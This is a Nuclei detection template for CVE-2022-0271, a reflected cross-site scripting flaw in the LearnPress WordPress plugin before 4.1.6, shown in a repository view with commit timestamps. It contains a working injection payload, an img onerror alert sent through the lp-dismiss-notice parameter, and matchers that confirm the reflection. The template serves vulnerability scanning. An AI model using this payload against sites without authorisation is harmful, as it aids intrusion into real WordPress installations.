nuclei-templates/cves/2022/CVE-2022-0271.yaml

38 lines
1.1 KiB
YAML
Raw Normal View History

2022-04-15 13:50:14 +00:00
id: CVE-2022-0271
info:
name: LearnPress < 4.1.6 - Reflected Cross-Site Scripting
author: Akincibor
severity: medium
description: The plugin does not sanitise and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action, leading to a Reflected Cross-Site Scripting
2022-04-15 14:43:56 +00:00
reference:
- https://wpscan.com/vulnerability/ad07d9cd-8a75-4f7c-bbbe-3b6b89b699f2
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0271
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0271
cwe-id: CWE-79
tags: wp,wp-plugin,wordpress,cve,cve2022,learnpress,wpscan,xss
2022-04-15 13:50:14 +00:00
requests:
- method: GET
path:
2022-04-15 14:43:56 +00:00
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx<img%20src=x%20onerror=alert(document.domain)>'
2022-04-15 13:50:14 +00:00
matchers-condition: and
matchers:
- type: word
part: body
2022-04-15 14:43:56 +00:00
words:
- '{"dismissed":"xxx<img src=x onerror=alert(document.domain)>"}'
2022-04-15 13:50:14 +00:00
- type: word
words:
- "text/html"
part: header
2022-04-15 14:43:56 +00:00
- type: status
status:
- 200